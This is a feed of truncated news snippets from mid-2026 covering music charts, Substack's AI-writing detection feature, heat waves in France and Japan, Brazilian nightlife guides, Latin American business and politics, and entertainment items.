Substack has launched a new feature that can show you which of your favorite newsletters are being written using AI. This week, the newsletter and writing platform announced an integration with the AI writing detection software Pangram that will allow users to scan posts, comments, and replies on Substack’s app to see an estimate of how much of the content was written by a human and how much was AI. In the short term, the move might be bad for Substack’s business, as it could expose many of the newsletters on its platform that aren’t entirely written by people. That could potentially erode trust in the platform’s ecosystem of independent news and…

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Miguel Covarrubias took New York by storm before turning 21 and forever changed Mexican history. The post Made in Mexico: Miguel Covarrubias, the man who illustrated the Jazz Age appeared first on Mexico News Daily

Future debuts The Real Me atop the Billboard 200, earning his twelfth No. 1 album. He now claims the fifth-most champions of all time. NEW YORK, NEW YORK - MAY 05: Future attends the 2025 Met Gala Celebrating "Superfine: Tailoring Black Style" at Metropolitan Museum of Art on May 05, 2025 in New York City. (Photo by Dimitrios Kambouris/Getty Images for The Met Museum/Vogue) Getty Images for The Met Museum/Vogue Less than 15 years ago, Future appeared on the Billboard 200 for the first time. The tally is often cited as the most important for albums in the United States, as it measures the most popular full-lengths and EPs in the United States.…

President Donald Trump gives an exclusive tour of the White House Ballroom project, highlighting its design, immense capacity and enhanced security features. He emphasizes it's a gift to America for future generations. NEWYou can now listen to Fox News articles! Lil Wayne is throwing his support behind one of President Donald Trump's most talked-about White House projects. The rap icon praised Trump's plan to build a massive White House ballroom during a Monday appearance on the "Friends Keep Secrets" podcast, arguing the new venue would spare performers from being pushed outside for major events. "I'm so glad to hear Trump say — when they was mad at…

With a lucky thirteenth week at No. 1 on Billboard's Digital Song Sales chart, Ella Langley's "Choosin Texas" ties three tracks as one of the longest-running leaders. NASHVILLE, TENNESSEE - NOVEMBER 19: (EDITORIAL USE ONLY) Ella Langley attends the 2025 CMA Awards at Music City Center on November 19, 2025 in Nashville, Tennessee. (Photo by Taylor Hill/WireImage) WireImage Ella Langley’s “Choosin’ Texas” has spent 39 weeks thus far on the Digital Song Sales chart, which measures the bestselling tracks in the United States through paid downloads from platforms such as iTunes. Digital purchases carry less weight in determining a song’s overall popularity…

Prince George plays on Cornwall beach in new birthday tribute video as he turns 13 The Prince and Princess of Wales have paid tribute to their son Prince George on his birthday, sharing a video of the now-teenager having fun in Cornwall. George, who turned 13 on Wednesday (22 July), can be seen climbing rocks, petting his dog, and playing cricket on the beach in a new footage. “Thank you for all the birthday wishes for George today,” said the Kensington Royal account as they shared the clip online. It comes hours after Kate and William shared a previously unseen photo of the teenager from last month’s Trooping the Colour as they wished him a happy…

São Paulo · Nightlife If You Only Go to One Place Itaú Cultural – Sonora Brasiliana: Juan Falú A stunning free concert by Argentine guitar master Juan Falú on Avenida Paulista. It is the perfect midweek cultural immersion – arrive early, soak up the gallery, then let the music transport you before heading into the Pinheiros night. Tonight at a Glance —Itaú Cultural Free live Latin guitar on Paulista; artsy mixed crowd; tonight 8 pm —Bar Brahma The most iconic samba-and-MPB house in Centro; tourists and locals; live music every night —Santana Bar Sophisticated jazz and blues in Pinheiros; date-night perfection; music from Wednesday —Biri Nait Clubby…

December 10, Simon Cowell's new boy band, debuts its first project, an EP titled On Your Side, inside the top 10 on nearly every chart in the U.K. PASADENA, CALIFORNIA - MARCH 24: Simon Cowell attends "America's Got Talent" Season 21 Media Day at Pasadena Civic Auditorium on March 24, 2026 in Pasadena, California. (Photo by Robin L Marshall/Getty Images) Getty Images For roughly the past decade, K-pop has largely dominated the global market when it comes to commercially successful boy bands and girl groups. South Korean acts regularly score international hits and score bestselling albums, while comparatively few new pop groups from Western countries…

Rio de Janeiro · Nightlife If You Only Go to One Place Bar da Lapa – Pique Novo This is the most traditional samba bar in Lapa, and tonight it hosts Pique Novo for a proper midweek roda de samba. The main act hits around midnight, giving you the full late-night Carioca experience in one iconic spot. Tonight at a Glance —Bar da Lapa Authentic pagode with Pique Novo, main show at midnight; the quintessential Lapa samba crowd on its most traditional night. —Rio Scenarium Samba with Arruda in a stunning antique-filled mansion; best for a dressed-up mixed crowd and a sit-down dinner with live music from 19:00. —Beco do Rato Intimate roda de samba with…

TL;DR: Pantalones Tequila and Tipsy Scoop teamed up on a Peaches \& Cream Margarita Ice Cream flavor made with Pantalones Organic Reposado Tequila. The limited-edition flavor launches July 22 and will be available at Tipsy Scoop locations through August, with nationwide shipping available through Goldbelly. Credit: Pantalones Tequila / Tipsy Scoop Matthew McConaughey’s Pantalones Tequila is giving margarita lovers a new way to enjoy their favorite summer drink — with a spoon. The tequila brand co-founded by Matthew and Camila McConaughey has teamed up with Tipsy Scoop to turn the classic cocktail into a frozen dessert just in time for National Tequila…

Decades after it became one of his first hits in the U.K., Neil Diamond's "Sweet Caroline" returns to the main songs tally in the nation, becoming a top 40 win again. American Pop musician Neil Diamond performs onstage at Madison Square Garden, New York, New York, July 24, 1986. (Photo by Gary Gershoff/Getty Images) Getty Images More than five decades after Neil Diamond released “Sweet Caroline” and it became one of his signature compositions, the song has taken on a life far beyond its original chart performance. For years, the track has been an unlikely fixture at sporting events, and unlike many anthems associated with one team, player or league,…

WhatsApp has announced a variety of new features today on its blog, including support for sharing Apple Music and Spotify activity to your WhatsApp Status, an iPad-focused account change, and more. WhatsApp announces Apple Music sharing, iPad signups, and more Today alongside debuting Adobe Acrobat integration for PDFs, WhatsApp has announced a few other new and recent additions. One new feature lets you share what you’re listening to in Apple Music or Spotify directly to your WhatsApp Status. From the blog post: Share what you’re listening to: Sharing music is a way of expressing yourself, and now you can easily share a song straight from Apple Music…

Lily Allen is set to star in a new Prime Video documentary charting her 'extraordinary' rise to fame. The singer, 41, has had a triumphant return to the music scene with her comeback album West End Girl, and will now appear in the feature-length film looking back at her life. The retrospective documentary will chart Lily's journey, from the "Queen of MySpace" who changed the rules of the music industry, to the cultural force she is today. As a pioneering woman in modern music, Lily's sharp wit and candid storytelling directly paved the way for a generation of today's biggest female artists. Featuring interviews with those who know her best, the…

"Na Na Na" by My Chemical Romance returns to the U.K.'s Official Rock \& Metal Singles chart, upping the band's total wins this week to four. LONDON - NOVEMBER 05: My Chemical Romance posed in London on November 05 2005. L - R Mikey Way, Frank Iero, Ray Toro, Gerard Way, Bob Bryar (Photo by Naki/Redferns) Redferns My Chemical Romance is in the midst of a huge run on the charts in the United Kingdom. The band can regularly be found on the country’s rock rankings, with both albums and songs performing well, but this spring and summer have been especially fruitful for the group. The Long Live The Black Parade Tour began in 2025 and celebrates The Black…

Spotify has rolled out its first music video charts playlist It's part of the platform's steady expansion of its music video ecosystem Spotify is once again battling YouTube, but it's not close competition Music videos in Spotify are becoming one of the most popular ways to engage in digital music streaming — now the service is expanding its video ecosystem in another attempt to one-up YouTube. For the first time, Spotify is bringing music videos to its Charts hub with the launch of Music Video Charts Global, a new top 50 playlist of the most streamed videos. Additionally, the platform has also rolled out a new Videos for You editorial playlist, which…

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Murali Sivaramakrishnan \| Photo Credit: SPECIAL ARRANGEMENT The Chipko movement was not merely a sustenance movement but also a challenge to the hierarchy of development, poet, painter, and academic Murali Sivaramakrishnan has said. He was speaking on 50 years of Chipko, a seminal environment movement in India in the early 1970s, at a discussion on a book, 50 Years of Chipko – the Movement and its Afterlives, that has been edited by him, at an event organised by the Institute of English and the publishers Orient BlackSwan here on Wednesday. Mr. Sivaramakrishnan pointed out that Chipko was an awakening. It eventually grew into talking about…

A Mercedes-Benz logo is displayed on a used vehicle for sale at a dealership on November 11, 2025 in San Diego, CA. Kevin Carter \| Getty Images News \| Getty Images The Senate Commerce Committee advanced bipartisan legislation Wednesday aimed at toughing a ban on Chinese automakers from the U.S. market, even as Chairman Ted Cruz, R-Texas, warned that it could unintentionally bar Mercedes-Benz from selling vehicles in the country. Cruz said during the committee's markup of the Motor Vehicle Modernization Act of 2026 that the bill's 15% Chinese ownership threshold would cover Mercedes-Benz because two Chinese investors collectively own nearly 20% of…

At least 5,700 more people than usual died in France last month, as the country endured a historic heat wave, French public health officials said. That figure represented a sharp increase in the estimated death toll nationwide from June and early July's record temperatures. Public Health France said regions hit by the heat from June 17 to July 2 recorded 21,674 deaths from all causes. But without a heat wave, those same regions would have been expected to have seen far fewer deaths, or 15,910, based on statistical modeling using data from previous years, it said. The difference between expected and actual deaths — a total of 5,764 — are therefore…

The Federal Road Safety Corps (FRSC), Anambra Sector Command, has so far arrested 121 motorists over 214 alleged traffic offences during its ongoing “Operation Total Compliance” in the state. The Sector Commander, Bridget Asekhauno, disclosed this on Wednesday during the enforcement exercise in Awka. Mrs Asekhauno, who the Officer-in-Charge of Motor Vehicle Administration represented, Gloria Ezeugwu, said the three-day operation was conducted across the corps’ 12 zones nationwide. She said the exercise was designed to sensitise motorists to road safety regulations while enforcing compliance and curbing traffic violations capable of causing road…

Japan sizzled under sweltering, life-threatening heat on Wednesday, with temperatures expected to top ​40 degrees Celsius (104 degrees Fahrenheit) in some ‌cities in what the government has newly designated as a "brutally hot day." The weather agency issued heat stroke ​alerts for much of the country, forecasting ​a second straight day of "kokushobi" - literally meaning ⁠brutally hot day - with temperatures expected to reach ​40 C in Kumagaya, north of Tokyo, and ​Nagoya, in central Japan, Reuters reported. Authorities urged residents to use air conditioning liberally, hydrate regularly and avoid spending long hours ​outdoors. Japan has experienced…

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Your support helps us to tell the story From reproductive rights to climate change to Big Tech, The Independent is on the ground when the story is developing. Whether it's investigating the financials of Elon Musk's pro-Trump PAC or producing our latest documentary, 'The A Word', which shines a light on the American women fighting for reproductive rights, we know how important it is to parse out the facts from the messaging. At such a critical moment in US history, we need reporters on the ground. Your donation allows us to keep sending journalists to speak to both sides of the story. The Independent is trusted by Americans across the entire political…

Descrease article font size Increase article font size France recorded at least 5,700 more deaths than usual during a historic heatwave last month, the public health agency said Wednesday, sharply increasing its estimates of the feared toll from record-shattering temperatures. Public Health France said regions hit by the heat from June 17 to July 2 recorded 21,674 deaths from all causes. But without a heatwave, those same regions would have been expected to have seen far fewer deaths, or 15,910, based on statistical modeling using data from previous years, it said. The difference between expected and actual deaths — a total of 5,764 — are therefore…

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Michigan GOP U.S. Senate candidate Mike Rogers argues Democrats have harmed Michigans economy, leading to job losses and higher living cost, on ‘The Big Weekend Show.’ NEWYou can now listen to Fox News articles! Former campaign official for Sen. Bernie Sanders, I-Vt., Joel Rubin called out the Vermont senator last week for pushing the "most categorically anti-Israel, antisemitic candidates" he's seen in recent years. "I think what Sanders and the Sanders operation have done is shove into our system the most categorically anti-Israel, antisemitic candidates that we’ve seen in a generation — if ever, certainly within the Democratic Party — and it’s by…

Brazil · Business Key Facts —New chairman. Manuel Lino Silva de Sousa Oliveira, known as “Ollie,” a 74-year-old independent Vale board member since 2021. —Term length. Oliveira will serve as chairman through April 2027, completing the current board cycle. —Vote margin. Oliveira defeated vice-chairman Marcelo Gasparino by roughly 1.97 billion votes to 1.06 billion. —Key backer. Previ, the Banco do Brasil employee pension fund and a major Vale shareholder, publicly backed Oliveira. —Market reaction. Vale shares extended gains after the result before paring, signaling initial investor relief. Vale shareholders elected Manuel Lino Silva de Sousa Oliveira…

Last week I drove to Koringberg (a small farming town in the Swartland) to arrange the installation of prepaid electricity meters at one of Goedgedacht’s former Pathways on to Prosperity (POP) centres, where children came after school for a meal, homework support and recreational activities. For many years the centre had been a place where children came after school for a meal, homework support and the security of knowing that someone was there to welcome them. It was one of those ordinary management tasks that probably occupies far more of a managing director’s time than most people imagine. While the electricians were working, I wandered through…

The Vallarta Botanical Gardens welcomed nearly 60,000 visitors last year, with admission fees helping to fund its true mission: to conserve endangered regional flora and fauna. The post MND Local: New annual report highlights Vallarta Botanical Gardens’ expanding conservation mission appeared first on Mexico News Daily

Colombia · Politics Key Facts —Amount reallocated. COP 4 trillion (about US$1.23 billion) moved from the Colombia Solar program to the UNGRD. —Timing of impact. Government expects El Niño effects from December 2026 through March 2027, with reservoir stress peaking in early 2027. —Priority regions. 111 municipalities across 15 departments are classified as high risk; 80 tanker trucks are deployed in 22 departments. —Disaster declaration. A six-month decree window allows faster procurement and project execution to speed up preventive actions. —Agricultural support. More than COP 669,000 million (US$205.7 million) is earmarked for farm protection and…

According to the Cauvery Water Management Authority, the present storage in reservoirs of the Cauvery basin in both Karnataka and Tamil Nadu could only take care of their drinking water requirements. \| Photo Credit: file photo Taking a serious note of poor rainfall in the Cauvery basin, the Cauvery Water Management Authority (CWMA) that met in Delhi on Wednesday has directed both Karnataka and Tamil Nadu to strictly confine use of their storage to drinking water purposes. The CWMA, which is the apex body that monitors implementation of Cauvery water release to lower riparian States as per the Supreme Court’s verdict, directed both the States to…

MANILA, Philippines — The Philippine Coconut Authority (PCA) expects coconut export revenues to exceed 2025 levels despite El Niño risks. “We’re still positive that we’ll still be able to surpass our 2025 exports… hopefully, it’s still higher than what we had last year,” PCA Head Executive Assistant Joseph Cezar Deligero said. READ: Coconut exports seen […]...Keep on reading: Coconut exports seen rising amid El Niño setbacks

By KATIE HIND, CONSULTANT EDITOR SHOWBUSINESS Published: 06:32 EDT, 22 July 2026 \| Updated: 12:03 EDT, 22 July 2026 Two and a half years after quitting This Morning, Holly Willoughby has given me a sneak peek at her new YouTube show over brunch. She told me she knows she's not everyone's cup of tea. She's not fearful of people criticising her. Her brilliant comeback will leave ITV bosses green with envy. Watch the video to find out why. Share or comment on this article: Holly Willoughby's YouTube comeback will leave This Morning bosses green with envy: KATIE HIND

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If you’ve only ever interacted with Splatoon from a casual distance, it may seem like there’s not much story to Nintendo’s multiplayer series. You’re a kid-squid who shoots ink guns. What more is there to know? Anyone who has followed the series closely for the past decade, though, will tell you that Splatoon has some of the richest, weirdest lore in all of video games. That detail is relevant to know before you jump into Splatoon Raiders, the shooting series’ first single-player-focused game. While most of its emphasis is on treasure hunting, there’s a lot of worldbuilding nestled into collectible scrolls. (You’ll learn all about the economic crisis…